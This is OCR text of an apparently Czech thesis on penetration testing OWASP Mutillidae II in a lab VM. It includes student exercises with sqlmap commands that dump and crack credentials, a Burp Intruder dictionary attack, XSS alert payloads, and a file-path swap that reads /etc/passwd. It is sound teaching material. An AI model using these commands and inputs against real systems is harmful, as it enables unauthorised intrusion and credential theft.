Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB Viewlog View Captured Data

: .
{ Dlrectary Browsing
OWASP 2010
' :
[ Directory Browsing
E—— 3
Some web servers are misconfigured and allow directory browsing, This an
easy mistake to male. While most sites disable directory browsing on the
"home" or root page, some allow browsing on other directaries. For each
folder found in the site, attempt to browse to the folder without the page
"lk name. If using grep, look for "Index Of" as a match
— -
Getting Started: OWASP Mutilidae Il seems to disallow directory browsing on the roct page.
Project Try browsing to http:/localhost/mutilidae. Lilely this will load the home
Whitepaper page. However, the site may not be configured perfectly. Perhaps if & folder
name was known, we could try to browse to that folder (i.e. -
http:/flocalhost/mutilidae/<folder =)
’ IT help is needed figuring out folder names, try activating hints
Release
Announcements

Obr. 4.39: Model zneuziti zranitelnosti - Directory Browsing

Nejprve je nutné opét zachytit HI'TP komunikaci nastrojem Burp Suite. V tomto
pripadé dojde k zachyceni stisknutim tlacitka F5 slouzicitho k obnoveni webové
stranky. Po zachyceni HTTP komunikace vypneme zachytavani kliknutim na tlacitko
Intercept is on v zélozce Proxy/Intercept a prepneme se do zélozky Target/Site
map.

Site map (mapa stranky) shromazduje veskeré informace, které nastroj shromaz-
dil v prubéhu testovani. V této tloze zde nastroj shroméazdil vSsechny informace ze

zachyceného pozadavku a pomoci passive spidering (pasivni ,spidering” - metoda,

6 OWASP 2013“ -> A5 - Security Misconfiguration“ -> , Directory Browsing®
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file:///KaLi
file:///KaliDocs
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http://localhost/mutillidae/%3cfolder
http://localhost/mutillidae
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ktera zpracuje vSechny HTTP pozadavky/odpovédi, z nichz vybuduje podrobny ob-
sah o aplikaci) dalsi obsah, ktery lze vyvodit z odkazu aplikace, formulaia, vazeb
atd., viz obr. 4.40.

Burp Suite Free Edition v1.6.32 e 060
Burp Intruder Repeater Window Help
_[TargetT Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options T.Merts ]
Site map | Scope
| Filter: Hiding not found items; hiding C55, image and general binary content; hiding 4x¢ responses; hiding empty folders EJ
© https://192.168.56.101 Host | Methed | URL | Params | Stat... 4 | Length | MIME type | Title
e I_”““”'"“ ) https: (/192 168.56.101 GET imutillidaefindex php @ 200 45451 HTML [a
" ('_m”“_e”t"‘tm” https://192 168.56.101 GET jmutillidagfimages/ri.. O 304 336
[ framer. html https://192.168.56.101 GET jmutilidaefjavascript.. [ 304 359 script
> [ images https:/192.168.56.101 GET Jmutillidaefjavascript 3] 304 360 script
¥ 2 includes o https://192.168.56.101 GET Jmutillidae/fjavascript... O 304 360 script
> @ pop-up-help-context-generator. php https://192 168.56.101 GET  /mutilidaefiavascript.. (] 304 360
s 9 index. php https://192.168.56.101 GET Jmutillidae/fjavascript 3] 304 360 script
4 Ja_"_as‘”"t ) i https:/192.168.56.101 GET Jmutillidas/javascript... 3] 304 360 script
» @ level-l-hints-page-wrapper. php https://192.168.56.101 GET smutillidas/fjavascript... 0 304 361 script
9 sat—upiclatabase rhp https://192.166.56.101 GET fmutillidas/docurmen... 0] HTML
* @ webservices https://192.168.56.101 GET jmutillidag/framer ht.. 0 HTML v
L) ffaddons.mozilla.org T(. - . = e
» calhost -
»> amurai.inguardians. com jﬁ’—]
> ourceforge. net Baiaal Resron=e
- Ittel'.com. . Raw | Headers | Hex
> ww.(Iynamlcch'we.com
> owasp.org GET /mutillidae/index.php HTTR/1.1 &
L) wasp.org Host: 192.168.56.101
[ W.Sans.org Accept: #j%
»> ww.w3.org Accept-Language: en
> ww.youtube. com Connection: close
v
? < + > pe @ search term 0 matches

Obr. 4.40: Shroméazdény obsah o webové aplikaci ze zachycené HTTP komunikace

Burp Suite Free Edition v1.6.32 e @@ O

Burp Intruder Repeater Window Help

[Target T Proxy TSpider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options Tnler‘ts ]
Contral | Options

@ Spider Status

Use these settings to monitor and control Burp Spider. To begin spidering, browse to the target application, then right-click one or more nodes in
the target site map, and choose "Spider this host / branch".

[ Spider is running | Clear queues

Requests made: 547
Bytes transferred: 4,500,795

Requests queued: 0

Forms queued: 0

Spider Scope

& ®

(® Use suite scope [defined in Target tab]

() Use custom scope

Obr. 4.41: Zkoumani slozky mutillidae a jejiho obsahu
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Abychom mohli prohlizet veskery obsah webové aplikace, je nutné pouzit mo-
dul Spider, ktery automaticky prozkoumava cookies, inicializuje spojeni s webovou
aplikaci, vypisuje a mapuje riazné stranky a parametry cilové webové stranky.

Kliknutim pravym tlacitkem na podslozku mutillidae hlavni vétve hitps://192.16
8.50.101 v zalozce Target/Site map a zvolenim Spider this branch, odesleme pii-
kaz modulu Spider k pruzkumu této podslozky. Nastroj nas upozorni, ze zvolena
polozka neni ve vymezeném rozsahu testovani, a zda-li chceme rozsah automaticky
upravit. Kliknutim na Yes Burp Suite vymezi pole prizkumu pouze na zvolenou
slozku mutillidae a vSechny jeji podslozky.

Poté nastroj provede prizkum, viz obr. 4.41. Po dokonceni je z obrazku vidét
celkovy pocet provedenych pozadavki (Requests made) a prenesenych bytu (Bytes
transferred).

V této chvili bude shromazdény obsah v zilozce Target/Site map rozsiten,
viz obr. 4.42. Napriklad adresar includes obsahuje mnohem vice souborti nez na
obrazku 4.40, coz bylo ucelem, protoze nyni je lze mozné prohlizet i soubory, které
byly v pfedchozim kroku skryté a mohou nam poskytnou cenné informace o webové

aplikaci.

Burp Suite Free Edition v1.6.32 @ e 0

Burp Intruder Repeater Window Help

_[TﬂrgetT Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer TExtender T Options TA\erts ]

Site map | Scope

| Filter: Hiding not found items; hiding CSS, image and general binary content; hiding 4 responses; hiding empty folders 2
vE https:.f{l.sz 168.56.101 4| | Host | Method | URL | Params | Stat.. 4 | Length | MIME type | Title
':fg"“f'”'dae https://192.168.56.101 GET ymutillidae/ O =200 45927 HTML F]
e https:#/192.168.56.101 GET Smutillidae/?page=a... 4] 200 46073 HTML
> ajax https:#/192.168.56.101 GET Jmutillidae/?page=cr. [E] 200 43378 HTML
. P ;‘:‘(’E“r;ee'r‘]’;tt‘?{"‘r’]hp https://192.168.56.101 GET jmutillidag/?page=s... & 200 49743 HTML
D) framer htm https://192.168.56.101 GET Smutillidag/?page=s... @ 200 46501 HTML
» [ images https:#/192.168.56.101 GET Jmutillidae/?page=te [E] 200 44527 HTML
¥ includes https://192.168.56.101 GET Smutillidae/ajax/ o 200 1463 HTML Index of /
[ https://192.168.56.101 GET Smutillidag/ajax/?C=... ] 200 1463 HTML Index of /
[ anti-framing-protection.inc https:#/192.168.56.101 GET fmutﬁllﬁdae!ajaxf?c €] 200 1463 HTML Index of /
[ back-button inc https://192.168.56.101 GET Smutillidae/ajax . [E] 200 1463 HTML Index of /
https://192.168.56.101 GET Smutillidag/ajax/?C=... ] 200 1463 HTML Index of /i w

[ config.inc f
[ constants.php <C 7 T

[ create-html-S-web-storage-target.inc
r Request | Response
[ footer.php
header.php Raw | Params | Headers | Hex

0O

[ help-button.inc GET smutillidae/index.php?page=directory-browsing. php HTTR/1.1 A&
» [ hints-level-1 Host: 192.168.56,101 i
*» [ hints-level-2 User-Agent: Mozilla/5.0 (¥11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0
» [ includes Iceweasel/38.6,1

) index.phy Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8

[ information-disclosure-comment.php) Accept-Language: en-US,en;g=0.5

[ insufficienttransport-layer-protection Accept-Encoding: gzip, deflate
» B javascript Refel_'er: h‘ttp;:,n’f192.168.56‘101fmu‘t_1111daef1ndex.php?page=d1rectory-browslmg.php

Cookie: showhints=1; PHPSESSID=u3ljb7do7bal3dvmlrhdmgzuds;

[ jquery-init.inc
[ log-visit.php

. Jo] | L= L L [T

acopendivids=swingset,jotto,phpbb2, rednine; acgroupswithpersist=nada \d

a¥

0 matches

Obr. 4.42: Shromazdény obsah modulem Spider

Pokud bychom zvolili adresar includes a v ném soubor config.ini, tak v zalozce
Response/Raw je zobrazen obsah tohoto souboru, viz obr. 4.43. Zde se uto¢nik
dozvi nézev hosta databaze (localhost), uzivatelské jméno (root), heslo (-) a nazev

databéze (owasp10).
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Reguest Response1

j Raw T Headers T Hex ]

HTTR/1.1 200 0K

Date: Mon, G4 Apr 2016 10:25:32 GMT

Server: Apaches2,2.14 (Ubuntu) mod_monos2.4.3 PHR/S. 3. 2-1lubuntud, 30 with Suhosin-Patch
proxy_html/2.0.1 mod_python/3.3.1 Python/2.6.5 mod_ss1/2.2,14 OpenSsL/0.9.8k
Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/v5.10.1

Last-Modified: Fri, 27 Sep 2013 02:47:08 GMT

ETag: "S5e99a-18f-4e75480%ec300"

Accept-Ranges: bytes

Content-Length: 3939

Connection: close

Content-Type: textsplain

L

=7php
J* NOTE: On Samurai, the $dbpass password is "samurai® rather than blank */

/% PLEASE NOTE CAREFULLY: THIS PAGE IS DEPRECIATED BUT WILL REMAIN AS AN EASTER EGG COR
* HACKING TARGET. THIS PAGE USED TO DATABASE CONMECTION IMFORMATION

# BUT WAS REPLACED BY THE MySQLHandler CLASS,

*f

//$dbhost = 'localhost';
J/fdbuser = 'root';
/i%dbpass = '
JSrfdbname = 'owasplO';

=

"L

Obr. 4.43: Obsah souboru config.inc

Request Response1

_J-Raw T Headers T Hex T HTML T Render]

HTTR/1.1 200 0K

Date: Mon, 04 Apr 2016 10:25:32 GMT

Server: Apache/2,2.14 (Ubuntu) mod_mono/2.4.3 PHP/5. 3, 2-1ubuntu4. 30 with Suhosin-Patch
proxy_htmls2.0.1 mod_python/3.3.1 Python/2.6.5 mod_ss1/2.2.14 OpenSSL/0.9. 8k
Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perly/v5.10.1

Last-Modified: Wed, 29 Jul 2015 01:51:04 GMT

ETag: "S5e999-892-51bfadlce7zo0"

Accept-Ranges: bytes

Content -Length: 2194

Connection: close

Content-Type: textsplain

=?php

switch ($_SESSION["security-level"]){
case "0": f/ This code is insecure
case "1":
J/ DO NOTHING: This is insecure
$LEncodeOutput = FALSE:
break;

case "2":

case "3":

case "4";

case "S5": // This code is fairly secure
Y
* MOTE: Input walidation is excellent but not enough. The output must be
* encoded per context. For example, if output is placed in HTML, b
* then HTML encode it. Blacklisting is a losing proposition. You v

LJ lzj EJ lzj Type a search term 0 matches

Obr. 4.44: Obsah souboru back-button.inc
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Pti volbé souboru back-button.inc Gtocnik dostane pristup ke zdrojovému kodu.
V ném jsou nevyuzité funkce, napt. case "2": a case "3":, které jsou povazovany za
nebezpecné, viz obr. 4.44.

Tato tloha demonstruje nejbéznéjsi nezabezpecenou konfiguraci, kde vétsina vy-
vojara spoléhéd na skryté adresare a soubory. Jedinou ochranou je zde predpoklad,
ze utocnik nezjisti jejich nazvy, protoze k nim neexistuji zadné vazby. Nicméné, tyto

nazvy lze uhodnout nebo prostirednictvim automatizovanych néstroji odhalit.
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5 ZAVER
V préci je nejprve obecné popsano, co je penetracni testovani, co vse by mélo zahr-
novat, na jaké typy test se déli a metodologie testovani.

Déle je uvedena bezpecnostni organizace ,,OWASP vénujici se bezpecnosti
webovych aplikaci. Jsou zde zminény jeji nejvyznamnéjsi projekty a popsan do-
telnosti webovych aplikaci. Dalsi ¢ast tvori zakladni popis prvnich péti zranitelnosti
(Injection, Broken Authentication and Session Management, Cross-Site Scripting,
Insecure Direct Object References a Security Misconfiguration) z verze dokumentu
OWASP Top 10 2013. U kazdé z nich je uveden priklad utoku a zpusob obrany.

Posledni teoretickd ¢ast je zamérena na linuxovou distribuci Kali Linux, urce-
nou k penetracnimu testovani a priuzkumu bezpecnosti. Kromé zakladnich informaci
o distribuci, jsou zminény zptsoby jejiho zprovoznéni a nejnovéjsi verze Kali Linux
2.0. Dalsi ¢ast tvori popis nékolika nejpouzivanéjsich nastroji pro penetracni testo-
vani, véetné skeneru zranitelnosti Nessus.

Praktickou ¢ast tvori testovani prvnich péti zranitelnosti z dokumentu OWASP
Top 10 2013, kde je nejprve uveden pouzity SW pro realizaci itokt a vnitini in-
frastruktura sité. Cely rozbor této ¢asti je urcen k porozuméni vytvorené laboratorni
ulohy a zaroven slouzi jako podrobny navod pro vyucujici.

Prvnim tkolem bylo ziskani uzivatelskych prihlasovacich idaji webové aplikace
OWASP Mutillidae II prostfednictvim zranitelnosti SQL injection. Nejprve dojde
k zachyceni HTTP komunikace (pozadavku) néstrojem Burp Suite. Nasledné je po-
uzit nastroj Sqlmap k aplikaci SQL injection. Vysledkem bylo ziskani zakladnich
informaci o webové aplikaci a dvaceti uzivatelskych ptihlasovacich udaju.

Druhy tkol je zaméreny na zranitelnost Broken Authentication and Session Ma-
nagement a ziskdni uzivatelskych prihlasovacich tdaju webové aplikace OWASP
Mutillidae IT metodou dictionary attack. Zachyceny pozadavek nastrojem Burp Su-
ite je odeslan modulu Intruder, ktery metodou dictionary attack porovna kombinace
uzivatelskych jmén a hesel. Vysledkem bylo 45 nespravnych kombinaci a 4 spravné.

Treti kol je vénovany zranitelnosti Cross-Site Scripting. Cilem je vyhledani po-
tencialné nebezpecnych skripti, které mohou mit vliv na webovou aplikaci OWASP
Mutillidae IT a znazornit metodu reflected i stored. Nejprve nastrojem XSSer doslo
k vyhledani nebezpecénych skriptti a nasledné byla provedena ukazka se skriptem
alert (metoda reflected). Poté bylo prezentovano pouziti skriptu alert i pro metodu
stored.

Ctvrty tkol je zaméfen na zranitelnost Insecure Direct Object References, kde
je cilem, zneuzitim této zranitelnosti, ziskat informace o webové aplikaci OWASP

Mutillidae II. Nastrojem Burp Suite je zachycen pozadavek, ktery je nasledné pozmé-
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nén za primy odkaz na objekt (soubor). Vysledkem bylo prozkoumani péti souboru
webové aplikace.

Posledni kol se zabyva zranitelnosti Security Misconfiguration. Cilem je prove-
deni pruzkumu adresaii webové aplikace OWASP Mutillidae II, které by nemély
byt pristupné neopravnénym osobam. Nejprve je odchycena HTTP komunikace a
poté nasledné odeslani podslozky mutillidae modulu Spider k prizkumu. Vysledkem
je nahlizeni do adresart a soubori, které jsou za normalnich okolnosti skryty.

Z praktické casti je v priloze vypracovana laboratorni tiloha ,Penetra¢ni testo-
vani webovych aplikaci“ a ,,Uvod do problematiky penetracniho testovani, kterd
popisuje zakladni princip zranitelnosti SQL injection a Broken Authentication and

Session Management a slouzi jako ivod pred hlavni laboratorni tilohou.
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SEZNAM SYMBOLU, VELICIN A ZKRATEK

SQL
DNS
CGI
LDAP
VPN
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OWASP
SW
HW
HTTP
ID

SSL
DOM
HTML
HTTPS
URL
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GUI
BSD
OS
WPA
WEP
DOS

DES

Structured Query Language
Domain Name System

Common Gateway Interface

The Lightweight Directory Access Protocol
Virtual Private Network

Internet Security System

The Open Web Application Security Project
Software

Hardware

The Hypertext Transfer Protocol
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Secure Sockets Layer

Document Object Model
HyperText Markup Language
Hypertext Transfer Protocol Secure
Uniform Resource Locator

Acorn RISC Machine

Graphical User Interface

Berkeley Software Distribution
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Wi-Fi Protected Access

Wired Equivalent Privacy

Disk Operating System

The Data Encryption Standard
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The Transmission Control Protocol
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A LABORATORNI ULOHA - PENETRACNI
TESTOVANI WEBOVYCH APLIKACI

Cilem tlohy je seznamit se s penetracnim testovanim webovych aplikaci automati-
zovanymi nastroji v prostfedi Kali Linux a prvnimi péti zranitelnostmi webovych
aplikaci z dokumentu OWASP Top 10 2013.

Zadani

1. Seznamit se s prostredim webové aplikace OWASP Mutillidae II.

2. Ziskat uzivatelské prihlasovaci udaje webové aplikace OWASP Mutillidae 11
pomoci SQL injection.

3. Ziskat uzivatelské prihlasovaci udaje webové aplikace OWASP Mutillidae 11
vyuzitim metody dictonary attack.

4. Vyhledat potencialné nebezpecné skripty nastrojem XSSer a vyzkouset vliv
skriptu alert na webovou aplikaci OWASP Mutillidae II metodou reflected i
stored.

5. Vyuzit primych odkazi na objekty a ziskat informace o webové aplikaci OWASP
Mutillidae II.

6. Vyuzit nezabezpecenou konfiguraci k prozkoumani adresaiti a soubortt webové
aplikace OWASP Mutillidae II.

Postup pro vypracovani

Vnitini infrastruktura sité je zakreslena na obr. A.1. Prostfednictvim virtualizac-
niho programu Oracle VM VirtualBox, umisténého na PC hosta, jsou spustény dve
virtudlni stanice (Kali Linux, OWASP Broken Web Applications), které komuni-
kuji s hostitelskym PC v rezimu NAT a Host only z hlediska bezpecnosti sité. Host
vsechny pozadavky od stanic posila routeru, ktery je zpracuje a preposle dal v za-

vislosti na pozadavku.

1)
o Spustte Oracle VM VirtualBox a v ném stanice Kali Linux a OWASP Broken
Web Applications.
o Stanici OWASP Broken Web Applications ponechte spusténou na pozadi a
prihlaste se do systému Kali Linux jako uzivatel root s heslem toor.
o Otevrete webovy prohlizec Iceweasel, zadejte IP adresu 192.168.56.101 (OWASP
Broken Web Applications), zvolte webovou aplikaci OWASP Mutillidae II a

zorientujte se v prostredi.
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2)

Virtualni prostredi
VirtualBox

Kali Linux
10.0.2.15/24

Router

PC
192.168.1.103/24

OWASP Broken Web Applications
92.168.56.101/24

Obr. A.1: Vnitini infrastruktura sité

Model zneuziti zvolte ,OWASP 2013“ -> , Al - Injection (SQL)* ->
»SQLMAP Practice“ -> ,,Login“.

V URL adrese miuzete vidét, ze webova aplikace nepouzivd metodu GET,
ale POST. Je tedy potieba zachytit HT'TP komunikaci webového prohlizece
s webovym serverem.

Spustte nastroj Burp Suite a prepnéte do zalozky Proxzy/Options. Nastavte
[P adresu 127.0.0.1, port 8080 a ujistéte se, Ze naslouchani je aktivni (zatrzené
tlacitko Running).

Pro tspésné zachyceni HT'TP komunikace je potfeba nastavit stejnou IP ad-
resu i port ve webovém prohlizeci Iceweasel. V pravém hornim rohu otevrete
moznosti a pravym tlac¢itkem kliknéte na doplnék Swap Proxy. Otevie se na-
staveni, kde zadejte stejné idaje jako v nastroji Burp Suite, zaviete nastaveni a
kliknéte levym tlacitkem na polozku Swap Proxy, ktera se zvyrazni, coz znaci,
Ze prepnuti proxy serveru je aktivni. V této fazi neptijde pouzivat webovy pro-
hlize¢ k béznému surfovani. V pripadé potieby musime vypnout proxy server
opétovnym kliknutim na Swap Proxy.

Nyni vypliite ve webové aplikaci libovolné jméno a heslo a potvrdte tlacitkem
Login. V nastroji Burp Suite se pfepnéte do zalozky Proxy/Intercept a pro-
hlédnéte si zachyceny pozadavek. Ve spodni ¢asti jsou vami vyplnéné udaje,

které budete potiebovat k pouziti néstroje Sqlmap.
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e Spustte terminal, zadejte nasledujici prikaz a podivejte se na moznosti na-
stroje Sqlmap. Vénujte pozornost zejména volbam Enumeration, Fingerprint,
Target a Request.

Prikaz:

root@Kali:~# sqlmap -help

o Dalsim krokem je shroméazdéni zakladnich informaci o webové aplikaci a pre-
svédceni se, zda-li je nastroj schopen tspésné provést SQL injection.
Prikaz:

root@Kali:~# sqlmap -u "http://192.168.56.101 /mutillidae/index.php?pa
ge=login.php'—data="username=,vami zadané jméno“&password=, vami
zadané heslo“&login-php-submit-button=Login"-f -b

o Pokud se vas nastroj dotaze na tyto otazky, zvolte nasledujici odpovédi:
— It looks like the back-end DBMS is "MySQL’. Do you want to skip test
payloads specific for other DBMSes? [Y/n] y
— For the remaining tests, do you want to include all tests for 'MySQL’
extending provided level (1) and risk (1) values? [Y/n] y
— Sqlmap got a 302 redirect to "http://192.168.56.101:80/mutillidae/index.
php?popUpNotificationCode=AU1". Do you want to follow? [Y/n] y
— Redirect is a result of a POST request. Do you want to resend original
POST data to a new location? [y/N] y
— POST parameter 'username’ is vulnerable. Do you want to keep testing
the others (if any)? [y/N] n
o Po dokonceni testovani nastroj zobrazi vysledky a informace o webové aplikaci,
které si prohlédnéte. Smazte parametry -f -b na konci predchoziho prikazu
a misto nich zadejte parametry k zjisténi nazvu serveru DBMS, aktualniho
uzivatele DBMS, aktudlni databaze DBMS a zda-li je aktualni uzivatel DBA
systému DBMS. Jednotlivé parametry je nutné oddélovat mezerou.
« Dale je nutné zjistit, jaké databaze webova aplikace obsahuje. Opét smazte
parametry pro vypis predchozich informaci a nahradte je parametrem —dbs.
o Zvolte cilovou databazi, kterou vite z predchozich krokii a vypiste jeji tabulky.
Prikaz:

root@Kali:~# sqlmap -u "http://192.168.56.101 /mutillidae/index.php?pa

ge=login.php'—data="username=,vami zadané jméno“&password=, vami
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zadané heslo“&login-php-submit-button=Login"-D ,,cilova databaze* —tab
les

o Vyberte tabulku, obsahujici uzivatelské tcty a vypiste jeji sloupce. Postup je

stejny jako v prikazu vyse. Parametr s cilovou databazi ztstava, jen je potreba
pouzit parametry pro volbu tabulky a vypis sloupcti, které obsahuje.
Nyni podobnym zpiisobem zvolte sloupce s uzivatelskymi jmény a hesly ve
formatu -C uzivatelskd jména,hesla (nepouzivejte mezery za ¢arkou) a na ko-
nec prikazu pridejte parametr —dump, ktery slouzi pro vypsani hodnot téchto
sloupcti.
Pokud néjaka hodnota (nejcastéji heslo) pouziva néjaky typ sifrovani, nastroj
se pokusi o desifraci a dotaze se, jak chceme postupovat. Zvolte nasledujici
odpoveédi:
— Do you want to store hashes to a temporary file for eventual further
processing with other tools [y/N] y
— Do you want to crack them via a dictionary-based attack? [Y/n/q] y
— What dictionary do you want to use?
(1) default dictionary file ’/usr/share/sqlmap/txt/wordlist.zip’
(2) custom dictionary file
(3) file with list of dictionary files
> 1
— Do you want to use common password suffixes? (slow!) [y/N] n
Prohlédnéte si vypsané uzivatelské tidaje a zkuste néktery z nich pouzit pro
prihlaseni do webové aplikace OWASP Mutillidae II pro ovéreni spravnosti.

Zkuste si také vypsat sloupec is__admin.

Model zneuziti zvolte ,,OWASP 2013% -> ,,A2 - Broken Authentication
and Session Management* -> ,,Authentication Bypass* -> ,,Via Brute
Force* -> ,,Login®.

Stejnym postupem jako v predchozim tkolu zachytte HI'TP komunikaci. Po
uspésném zachyceni kliknéte pravym tlac¢itkem kamkoliv v okné s pozadavkem.
Ukéaze se menu, ze kterého vyberte volbu Send to Intruder.

Prepnéte se do zélozky Intruder/Target, nastavte IP adresu naseho cile
192.168.56.101 a port 80.

V zalozce Intruder/Positions je potieba urcit typ ttoku a zvolit mista
v pozadavku, na ktera bude Intruder vkladat nami zadané hodnoty. Kliknu-
tim na tlacitko Clear § se vSechny automaticky oznacené proménné hodnoty
vymazou. Nyni oznacte pouze vami vyplnéné uzivatelské jméno a heslo (po-

kud jste zvolili jako uzivatelské jméno napr. ,student” a heslo ,student1”, tak
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oznacdite jen tyto hodnoty) a kliknutim na tlacitko Add § zadefinujeme mista,
na ktera bude Intruder vkladat uzivatelskda jména a hesla ze slovniku. Attack
type zvolte Cluster bomb.

Ptepnéte se do zélozky Intruder/Payloads. Zde je nutné urcit, jaké hodnoty
se budou na zvolend mista vkladat. V Payload set bude po rozbaleni seznamu
na vybér ze dvou moznosti, kde vyberte nejprve 1. Payload type zvolte Simple
list. V Payloads Options kliknéte na tlac¢itko Load ... a vyberte z domovského
adresare soubor userlist.txt.

Nyni prepnéte Payload set na ¢islo 2 a kliknutim na tlacitko Load ... vyberte
z domovského adresare soubor passlist.tzt. Kliknéte na tlac¢itko Start attack
k zahajeni utoku.

Po dokonceni titoku nastroj zobrazi vysledky. Prohlédnéte si jednotlivé kombi-
nace uzivatelskych jmen a hesel, zédlozky Response/Raw a Response/Ren
der a zkuste zjistit, podle ¢eho muzete poznat, Zze dand kombinace je spravna.

Prostrednictvim téchto kombinaci se poté zkuste prihlasit do webové aplikace
OWASP Mutillidae II.

Model zneuziti zvolte ,,OWASP 2013% -> ,,A3 - Cross Site Scripting
(XSS)“ -> ,,Reflected (First Order)“ -> ,,Set Background Color*.
Otevrete terminal a zadanim nasledujictho prikazu spustte graficky uzivatelské

rozhrani nastroje XSSer.
Prikaz:

root@Kali:~# xsser —gtk

Ve spodni c¢asti prepnéte Fly Mode na Intruder a do prazdného pole vlozte
URL adresu. Zatrhnéte rezim testovani na Automatic a kliknete na tlacitko
Aim!. Pro zahajeni utoku kliknéte na tlacitko FLY!!!.

Po vykonani dtoku néastroj vypise do hlavniho okna cely postup testovani,
ktery si prohlédnéte a zjistéte, kolik ispésnych a netspésnych injections nastroj
vykonal. V zdlozce Expert Visor/Report/Suspicious jsou vidét vSechny
injections s oznacenim suspicious, tedy takové, které mohou mit vliv na webo-
vou aplikaci.

Otestujte nastrojem vytvorenou URL se skriptem alert. Mélo by se zobrazit
vystrazné okno, coz je hlavni indikator, ze webova aplikace je zranitelna proti
utoktim cross-site scripting.

Upravte predchozi tvar skriptu na nasledujici a podivejte se, jaky vliv bude
mit skript na webovou aplikaci:
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http://192.168.56.101 /mutillidae/index.php?page=set-background-color.
php/“<SCRIPT>alert("Pozor utok XSS’)</SCRIPT>

Nyni zvolte model pro zneuziti ,,OWASP 2013% -> ,,A3 - Cross Site
Scripting (XSS)“ -> ,,Stored (Second Order)“ -> ,,Add to your
blog*.

Upravte skript z predchoziho tikolu na nésledujici tvar:

<script>alert("Pozor utok XSS")< /script>

Upraveny skript napiste do prazdného textového pole a kliknéte na Save Blog
Entry. Mélo by dojit k zobrazeni vystrazného okna alert. V tomto pripadé to
vsak, na rozdil od metody reflected, bude mit dopad na vice véci.

Zvolte tlac¢itko View Blogs, vyberte z prispévkiu od uzivatelt volbu Show All
a potvrdte tlacitkem View Blog Entries. Zobrazi se vystrazné okno alert. Pte-
pnéte se na jakykoliv jiny model zneuziti a poté se zkuste zpét prepnout na
model této tlohy. Opét se zobrazi vystrazné okno alert. V obou ptipadech se

zamyslete pro¢ tomu tak je.

Model zneuziti zvolte ,,OWASP 2013% -> ,,A4 - Insecure Direct Object
References“ -> ,, Text File Viewer“.

Jiz znamym postupem zachytte HT'TP komunikaci. Jediny rozdil bude, Ze po
nastaveni proxy serveru zvolte ve webové aplikaci libovolny soubor a kliknéte
na tlacitko View File.

V zachyceném pozadavku smazte zvyraznénou Cast:

textfile=hitp % 3A % 2F % 2 Fwww. textfiles.com % 2Fhacking % 2Faudi
tool. txt&text-file-viewer-php-submit-button=View+File

Nahradte ji cestou k souboru passwd:

textfile=/etc/passwd&text-file-viewer-php-submit-button=View+File

Kliknutim na tlac¢itko Forward v néastroji Burp Suite odeslete upraveny po-
zadavek webovému serveru ke zpracovani a v prohlizeci Iceweasel dostaneme

odpovéd. Prohlédnéte si obsah souboru a vysvétlete, proc je dulezity.
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e Nyni stejnym postupem zachytte HT'TP komunikaci, zobrazte si obsah nasle-

dujicich soubori, zjistéte, k ¢emu jsou urceny a proc jsou dulezité:

/proc/version
/proc/net /route

/proc/net /arp
/ete/apache2 /apache2.conf

Model zneuziti zvolte ,,OWASP 2013% -> ,,A5 - Security Misconfigu-
ration* -> ,,Directory Browsing*.

Zachytte HT'TP komunikaci nastrojem Burp Suite. Po nastaveni proxy serveru
stisknéte tlacitko FI, slouzici k obnoveni webové stranky, ¢imz se zachyti i
HTTP komunikace. Poté vypnéte zachytavani kliknutim na tlacitko Intercept
is on v zalozce Proxy/Intercept a prepnéte se do zalozky Target/Site
map.

Prohlédnéte si podslozku mutillidae hlavni vétve https://192.168.56.101. Klik-
nutim pravym tlac¢itkem na podslozku mutillidae se zobrazi menu, ze kterého
zvolte volbu Spider this branch. Nastroj se vas dotaze, zda-li chcete automa-
ticky upravit rozsah prizkumu. Zvolte Yes, ¢imz se nastroj zaméri pouze na
zvolenou slozku mutillidae a vSechny jeji podslozky.

Prepnéte se do zélozky Spider/Control a vyckejte, dokud pocet pozadavki
ke zpracovani (Requests queued) nebude na hodnoté 0.

Prepnéte se zpét do zdlozky Target/Site map, prozkoumejte shromazdény
obsah podslozky mutillidae modulem Spider a srovnejte s predchozim obsa-
hem. Vénujte pozornost zejména slozce includes.

Vyberte soubor back-button.inc, jehoz obsah uvidite v zélozce Response/Raw.
Zobrazi se vam zdrojovy kod, ktery obsahuje spousty nevyuzitych funkci napt.
case "2": a tim padem predstavuje riziko pro webovou aplikaci.

Najdéte i jiné soubory s potencialné nebezpecnym zdrojovym kdédem a ana-
lyzujte je. Dale vyhledejte soubor, ze kterého zjistite nazev hosta databéze,

nazev databaze, uzivatelské jméno a heslo.
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B LABORATORNI ULOHA - UVOD DO PRO-
BLEMATIKY PENETRACNIHO TESTOVANI

Cilem tlohy je studenty sezndmit se zakladnim principem zranitelnosti SQL in-
jection a Broken Authentication and Session Management z dokumentu OWASP
Top 10 2013.

Zadani
1. Seznamit se s prostredim webové aplikace OWASP Mutillidae II.
2. Vyzkouset si zakladni metody SQL injection pro tspésné prihlaseni do webové
aplikace OWASP Mutillidae II.
3. Porozumét problematice zranitelnosti Broken Authentication and Session Ma-

nagement prostiednictvim zmén hodnot parametru uid v zachyceném cookie.

Postup pro vypracovani

Vnitini infrastruktura sité je zakreslena na obr. A.1. Prostfednictvim virtualizac-
niho programu Oracle VM VirtualBox, umisténého na PC hosta, jsou spustény dve
virtudlni stanice (Kali Linux, OWASP Broken Web Applications), které komuni-
kuji s hostitelskym PC v rezimu NAT a Host only z hlediska bezpecnosti sité. Host
vsechny pozadavky od stanic posila routeru, ktery je zpracuje a preposle dal v za-

vislosti na pozadavku.

Virtualni prostredi
VirtualBox

Kali Linux

&

Router
192.168.1.1

PC
192.168.1.103/24

OWASP Broken Web Applications
92.168.56.101/24

Obr. B.1: Vnitini infrastruktura sité
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2)

3)

Spustte Oracle VM VirtualBox a v ném stanice Kali Linux a OWASP Broken
Web Applications.

Stanici OWASP Broken Web Applications ponechte spusténou na pozadi a
prihlaste se do systému Kali Linux jako uzivatel root s heslem toor.

Oteviete webovy prohlize¢ Iceweasel, zadejte IP adresu 192.168.56.101 (OWASP
Broken Web Applications), zvolte webovou aplikaci OWASP Mutillidae II a

zorientujte se v prostredi.

